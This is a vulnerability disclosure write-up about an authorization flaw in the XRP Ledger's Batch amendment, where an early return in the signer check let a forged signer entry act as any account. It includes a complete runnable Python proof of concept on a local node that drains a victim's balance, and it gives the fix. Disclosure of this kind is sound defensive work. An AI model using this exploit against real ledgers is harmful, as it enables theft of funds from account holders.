An 80 billion dollar bug in the XRP Ledger
On 19 February 2026, with the Batch amendment having just reached
enough validator support for future activation on XRPL mainnet, we
reported a critical authorization flaw in its signer check. The
amendment had not activated yet, so no user funds were at risk that
day, but the activation window was close enough that any mistake in
the response would have mattered to every funded account on the
ledger.
XRP mainnet's market capitalization hovered around 80 billion USD through February 2026. The vulnerable path below had not reached production, but if it had, the blast radius was chain-wide.
The amendment never activated. Ripple shipped rippled 3.1.1 on 23
February, four days after report, and marked both Batch and the
sibling fixBatchInnerSigs amendment unsupported while a corrected
BatchV1_1 replacement was prepared.
What a batch transaction authorizes, and how
The Batch amendment lets one outer transaction carry a list of
inner transactions from different accounts and execute them
atomically. The inner transactions are not individually signed. The
protocol explicitly requires each inner tx to have an empty
SigningPubKey, no TxnSignature, and no Signers field.
Authorization for the inner transactions is instead delegated
entirely to a single sfBatchSigners array on the outer transaction.
Each entry in that array is a (Account, SigningPubKey, TxnSignature) triple that says "this account authorizes the inner
transactions, and here is the signature proving it".
The outer gate that validates those entries is
Transactor::checkBatchSign. It iterates the array, and for each
entry calls checkSingleSign (or the multisign equivalent) to verify
that the signing key is actually authorized by the claimed account,
either as its master key or as its assigned RegularKey. If any
entry fails, the whole batch is rejected.
That is what the function is supposed to do. Here is what it did:
NotTEC ret = tesSUCCESS;
STArray const& signers{ctx.tx.getFieldArray(sfBatchSigners)};
for (auto const& signer : signers)
{
auto const idAccount = signer.getAccountID(sfAccount);
Blob const& pkSigner = signer.getFieldVL(sfSigningPubKey);
if (pkSigner.empty())
{
if (ret = checkMultiSign(ctx.view, ctx.flags, idAccount, signer, ctx.j);
!isTesSuccess(ret))
return ret;
}
else
{
if (!publicKeyType(makeSlice(pkSigner)))
return tefBAD_AUTH;
auto const idSigner = calcAccountID(PublicKey(makeSlice(pkSigner)));
auto const sleAccount = ctx.view.read(keylet::account(idAccount));
// A batch can include transactions from an un-created account ONLY
// when the account master key is the signer
if (!sleAccount)
{
if (idAccount != idSigner)
return tefBAD_AUTH;
return tesSUCCESS; // <-- the bug
}
if (ret = checkSingleSign(ctx.view, idSigner, idAccount, sleAccount, ctx.j);
!isTesSuccess(ret))
return ret;
}
}
return ret;The branch the comment is talking about is legitimate in spirit. A
batch can create a brand-new account and then immediately spend from
it later in the same batch, so preclaim time really can see a signer
account that does not exist yet in the ledger. In that specific case,
the only key that can credibly speak for the account is its own
master key, so idAccount == idSigner is the right check.
The implementation of the success arm is not. It returns from the
whole function. Any BatchSigners entries that come after the first
uncreated self-signed account are never validated at all.
The missing signer-to-account binding
The exploit also depends on a second design fact: in the single-sign path used here, the cryptographic batch-signature check does not bind the signer's claimed account into the signed payload.
inline void
serializeBatch(
Serializer& msg,
std::uint32_t const& flags,
std::vector<uint256> const& txids)
{
msg.add32(HashPrefix::batch);
msg.add32(flags);
msg.add32(std::uint32_t(txids.size()));
for (auto const& txid : txids)
msg.addBitString(txid);
}
Expected<void, std::string>
STTx::checkBatchSingleSign(
STObject const& batchSigner,
RequireFullyCanonicalSig requireCanonicalSig) const
{
Serializer msg;
serializeBatch(msg, getFlags(), getBatchTransactionIDs());
bool const fullyCanonical = (getFlags() & tfFullyCanonicalSig) ||
(requireCanonicalSig == STTx::RequireFullyCanonicalSig::yes);
return singleSignHelper(batchSigner, msg.slice(), fullyCanonical);
}For single-signed batch signers, the signed message commits to the
batch flag word and the ordered list of inner transaction IDs. It
does not commit to the Account field written next to the signature
inside sfBatchSigners. So a signature in a batch signer entry
proves only "the holder of this public key signed this batch
payload". It does not, by itself, prove "this public key is allowed
to authorize the account named beside it".
checkSingleSign, and the early return stops it from running on the forged entry.
On a correct implementation this looseness would still be safe,
because Transactor::checkBatchSign is supposed to run
checkSingleSign for every signer and reject any key that is not the
master key or RegularKey for its claimed account. The exploit works
because the batch passes the cryptographic check honestly under the
attacker's key, and then exits before the ledger-authorization check
for the victim ever runs.
The two-signer trick
Turning those two facts into an exploit takes one throwaway account and no stolen keys.
Let A be the attacker's funded account. Let B be a freshly
generated keypair whose address has never been seen by the ledger.
B is not funded, does not exist on-chain, and the attacker owns its
seed. Let V be the victim account: it exists on-chain, it holds
XRP, and the attacker has no key material for it.
The attacker constructs a ttBATCH transaction whose outer account
is A, whose outer signature is A's own, and whose inner
transactions are, in order:
T1:PaymentfromAtoB. The amount is at least the account reserve, soBis created by the ledger during batch apply.T2: any trivial transaction fromB, such asAccountSet,TrustSet, or a smallPayment. This exists only so thatBbecomes a required batch signer.T3:PaymentfromVtoAfor however much ofV's balance the attacker wants.
All three inner transactions are structurally valid batch inners:
tfInnerBatchTxn set, Fee=0, empty SigningPubKey, and no
signatures. Batch preflight insists on that shape.
The attacker then builds sfBatchSigners with exactly two entries,
in this order:
BatchSigners: [
{
Account: B, // not in ledger yet
SigningPubKey: B_pub,
TxnSignature: Sig_B(serializeBatch(flags, [txid(T1), txid(T2), txid(T3)])),
},
{
Account: V, // the real target
SigningPubKey: A_pub, // attacker's own public key
TxnSignature: Sig_A(serializeBatch(flags, [txid(T1), txid(T2), txid(T3)])),
},
]The outer ttBATCH is signed by A, which is trivial because A
holds its own key. Now replay the loop in checkBatchSign against
that array:
- First iteration, signer
B.pkSigneris non-empty.idAccount = B.idSigner = calcAccountID(B_pub) = B. The ledger has no account forByet, sosleAccountis null. The code enters the!sleAccountbranch.idAccount == idSigner, so the rejection does not fire. The next line runs:return tesSUCCESS. The loop exits. The function exits. - There is no second iteration. The entry for
V, whose signature was produced byA_puband is not authorized forVunder any circumstance, is never checked by anything in the ledger authorization path.
checkBatchSign returns tesSUCCESS. The batch moves on to apply.
Inner transactions bypass their own signature checks by design,
because they are supposed to be authorized by the outer batch signer
list, so T3 runs as V, moves XRP from V to A, and commits.
The exploit is complete. No part of it requires a stolen key, a
shared RegularKey, or a socially engineered signer. It uses the
protocol exactly as designed, except for one early return.
Why preflight still says yes
The outer batch survives preflight because preflight is split across two different responsibilities: "do the signer account IDs cover the inner accounts?" and "are these signatures mathematically valid for the keys they present?". The bug sits in the third responsibility, "are those keys actually authorized for those accounts on this ledger?".
std::unordered_set<AccountID> requiredSigners;
for (STObject const& rb : rawTxns)
{
auto const innerAccount = rb.getAccountID(sfAccount);
if (innerAccount != outerAccount)
requiredSigners.insert(innerAccount);
if (auto const counterparty = rb.at(~sfCounterparty);
counterparty && counterparty != outerAccount)
requiredSigners.insert(*counterparty);
}
for (auto const& signer : signers)
{
AccountID const signerAccount = signer.getAccountID(sfAccount);
if (requiredSigners.erase(signerAccount) == 0)
return temBAD_SIGNER;
}
auto const sigResult = ctx.tx.checkBatchSign(ctx.rules);
if (!sigResult)
return temBAD_SIGNATURE;The set logic only tracks claimed signer accounts. The array
{B, V} covers the non-outer accounts used by T2 and T3, so
requiredSigners empties cleanly. Then ctx.tx.checkBatchSign
verifies that both signatures are cryptographically valid for their
supplied public keys over the batch payload. Both are. Nothing in
this stage asks whether A_pub is actually allowed to speak for V.
That ledger lookup is supposed to happen later in
Transactor::checkBatchSign, through checkSingleSign. But that is
exactly the function that returns early on B.
There is no second chance during inner transaction apply either:
auto const pkSigner = sigObject.getFieldVL(sfSigningPubKey);
// Ignore signature check on batch inner transactions
if (parentBatchId && view.rules().enabled(featureBatch))
{
if (sigObject.isFieldPresent(sfTxnSignature) || !pkSigner.empty() ||
sigObject.isFieldPresent(sfSigners))
{
return temINVALID_FLAG;
}
return tesSUCCESS;
}Once the outer batch clears its signer list, the forged victim inner transaction is allowed to execute as an ordinary inner transaction. That skip is correct by design. The design assumption is that the outer signer list has already been fully authorized. The early return breaks that assumption.
It was not just a payment bug
The demo transaction is a Payment because balances make the failure
obvious. The actual impact is wider. Any inner transaction whose
security model reduces to "did this account authorize this
transaction?" becomes reachable.
That includes AccountSet, which can toggle flags or replace
account-level configuration, and TrustSet, which can mutate lines
and limits. If a victim account is otherwise eligible, it also
reaches operations like AccountDelete. The exploit surface was not
"send XRP from a victim once". It was "act as an arbitrary account
inside any batch once you can get past the signer loop".
A localnet repro you can actually run
We validated the bug on a single-node standalone rippled with the
Batch amendment manually enabled. The setup is plain: start a local
node, enable the amendment in config, verify it is live in the
current ledger, and submit a self-contained Python script that
creates A, leaves B unfunded, funds V, and then sends the
forged batch.
[server]
port_rpc_admin_local
[port_rpc_admin_local]
port = 5005
ip = 127.0.0.1
admin = 127.0.0.1
protocol = http
[node_db]
type=NuDB
path=<LOCALNET_DIR>/db/nudb
[database_path]
<LOCALNET_DIR>/db
[debug_logfile]
<LOCALNET_DIR>/debug.log
[validators_file]
<LOCALNET_DIR>/validators.txt
[amendments]
894646DD5284E97DECFE6674A6D6152686791C4A95F8C132CCA9BAF9E5812FB6 Batch<RIPPLED_HOME>/.build/rippled --conf <LOCALNET_DIR>/rippled.cfg --standalone
curl -s -X POST http://127.0.0.1:5005 \
-H 'Content-Type: application/json' \
-d '{"method":"feature"}' | rg -n '"name":"Batch"|"enabled":true'DeletableAccounts is enabled, a newly created account's first usable Sequence is the current ledger index rather than 1. That is why the runnable PoC below queries ledger_current before building T2. It is a PoC hygiene detail, not part of the vulnerability.
#!/usr/bin/env python3
import hashlib
import json
import sys
import urllib.request
from xrpl.core import binarycodec, keypairs
from xrpl.constants import CryptoAlgorithm
RPC_URL = "http://127.0.0.1:5005"
GENESIS_ACCOUNT = "rHb9CJAWyB4rj91VRWn96DkukG4bwdtyTh"
GENESIS_SEED = "snoPBrXtMeMyMHUVTgbuqAfg1SUTb"
TF_INNER_BATCH = 0x40000000
TF_ALL_OR_NOTHING = 0x00010000
def rpc(method, params=None):
body = {"method": method}
if params is not None:
body["params"] = [params]
data = json.dumps(body).encode("utf-8")
req = urllib.request.Request(
RPC_URL, data=data, headers={"Content-Type": "application/json"}
)
with urllib.request.urlopen(req) as resp:
payload = json.loads(resp.read().decode("utf-8"))
if "result" not in payload:
raise RuntimeError(f"RPC error: {payload}")
return payload["result"]
def ledger_accept():
return rpc("ledger_accept")
def account_info(account):
res = rpc(
"account_info",
{"account": account, "ledger_index": "current", "strict": True},
)
if "error" in res:
raise RuntimeError(res)
return res
def account_balance(account):
try:
info = account_info(account)
except Exception:
return None
if "account_data" not in info:
return None
return int(info["account_data"]["Balance"])
def fund_from_genesis(dest, amount_drops, fee_drops):
seq = account_info(GENESIS_ACCOUNT)["account_data"]["Sequence"]
tx = {
"TransactionType": "Payment",
"Account": GENESIS_ACCOUNT,
"Destination": dest,
"Amount": str(amount_drops),
"Sequence": seq,
"Fee": str(fee_drops),
}
res = rpc("submit", {"secret": GENESIS_SEED, "tx_json": tx})
ledger_accept()
return res
def txid_from_json(tx_json):
tx_hex = binarycodec.encode(tx_json)
prefix = b"TXN\x00"
digest = hashlib.sha512(prefix + bytes.fromhex(tx_hex)).digest()
return digest[:32].hex().upper()
def main():
info = rpc("server_info")["info"]
if info.get("server_state") != "full":
print("Server not in full state.", file=sys.stderr)
features = rpc("feature")["features"]
if not any(v.get("name") == "Batch" and v.get("enabled") for v in features.values()):
print("Batch feature not enabled on ledger.", file=sys.stderr)
return 2
fee_info = rpc("fee")["drops"]
base_fee = int(fee_info["base_fee"])
outer_fee = base_fee * (2 + 2 + 3)
def new_wallet(label):
seed = keypairs.generate_seed(algorithm=CryptoAlgorithm.SECP256K1)
pub, priv = keypairs.derive_keypair(seed, algorithm=CryptoAlgorithm.SECP256K1)
addr = keypairs.derive_classic_address(pub)
return {"label": label, "seed": seed, "pub": pub, "priv": priv, "addr": addr}
A = new_wallet("attacker_A")
B = new_wallet("new_account_B")
V = new_wallet("victim_V")
print("Accounts:")
for w in (A, B, V):
print(f" {w['label']}: {w['addr']} (seed {w['seed']})")
fund_from_genesis(A["addr"], 1_000_000_000, base_fee)
fund_from_genesis(V["addr"], 1_000_000_000, base_fee)
a_seq = account_info(A["addr"])["account_data"]["Sequence"]
v_seq = account_info(V["addr"])["account_data"]["Sequence"]
batch_ledger_seq = rpc("ledger_current")["ledger_current_index"]
print(f"Ledger index for batch: {batch_ledger_seq}")
print(f"A sequence: {a_seq} | V sequence: {v_seq}")
bal_a_before = account_balance(A["addr"])
bal_v_before = account_balance(V["addr"])
bal_b_before = account_balance(B["addr"])
t1 = {
"TransactionType": "Payment",
"Account": A["addr"],
"Destination": B["addr"],
"Amount": str(100_000_000),
"Sequence": a_seq + 1,
"Fee": "0",
"Flags": TF_INNER_BATCH,
"SigningPubKey": "",
}
t2 = {
"TransactionType": "Payment",
"Account": B["addr"],
"Destination": A["addr"],
"Amount": str(1_000_000),
"Sequence": batch_ledger_seq,
"Fee": "0",
"Flags": TF_INNER_BATCH,
"SigningPubKey": "",
}
t3 = {
"TransactionType": "Payment",
"Account": V["addr"],
"Destination": A["addr"],
"Amount": str(300_000_000),
"Sequence": v_seq,
"Fee": "0",
"Flags": TF_INNER_BATCH,
"SigningPubKey": "",
}
txids = [txid_from_json(t1), txid_from_json(t2), txid_from_json(t3)]
batch_message_hex = binarycodec.encode_for_signing_batch(
{"flags": TF_ALL_OR_NOTHING, "transaction_ids": txids}
)
signer_b = keypairs.sign(batch_message_hex, B["priv"])
signer_v = keypairs.sign(batch_message_hex, A["priv"])
batch_signers = [
{
"BatchSigner": {
"Account": B["addr"],
"SigningPubKey": B["pub"],
"TxnSignature": signer_b,
}
},
{
"BatchSigner": {
"Account": V["addr"],
"SigningPubKey": A["pub"],
"TxnSignature": signer_v,
}
},
]
outer = {
"TransactionType": "Batch",
"Account": A["addr"],
"Sequence": a_seq,
"Fee": str(outer_fee),
"Flags": TF_ALL_OR_NOTHING,
"SigningPubKey": A["pub"],
"RawTransactions": [
{"RawTransaction": t1},
{"RawTransaction": t2},
{"RawTransaction": t3},
],
"BatchSigners": batch_signers,
}
signing_hex = binarycodec.encode_for_signing(outer)
outer_sig = keypairs.sign(signing_hex, A["priv"])
outer["TxnSignature"] = outer_sig
tx_blob = binarycodec.encode(outer)
print("Submitting outer Batch transaction...")
res = rpc("submit", {"tx_blob": tx_blob})
ledger_accept()
print("Submit result:")
print(json.dumps(res, indent=2))
bal_a = account_balance(A["addr"])
bal_v = account_balance(V["addr"])
bal_b = account_balance(B["addr"])
print("Balances (drops):")
print(f" A: {bal_a} (before {bal_a_before})")
print(f" V: {bal_v} (before {bal_v_before})")
print(f" B: {bal_b} (before {bal_b_before})")
return 0
if __name__ == "__main__":
raise SystemExit(main())On a vulnerable standalone node, the outer batch returns
tesSUCCESS, V's balance drops by the amount in T3, A's
balance rises by slightly less than that amount net of the outer
batch fee, and B appears as a newly created account. The victim's
keys are never used at any point in the run.
The fix
One character of C++. return tesSUCCESS should be continue.
if (!sleAccount)
{
if (idAccount != idSigner)
return tefBAD_AUTH;
- return tesSUCCESS;
+ continue;
}That is the local code fix. The shipped remediation was broader and
correct. Rippled 3.1.1 flipped both Batch and the already-pending
fixBatchInnerSigs amendments to unsupported, removing them from the
voting pool entirely while a corrected BatchV1_1 is reviewed.
The larger lesson is that cryptographic validity and authorization
are different obligations. A future BatchV1_1 needs both: every
signer entry must verify under the key it presents, and every
presented key must be checked against the account it claims to
authorize, with no early success exits anywhere inside that loop.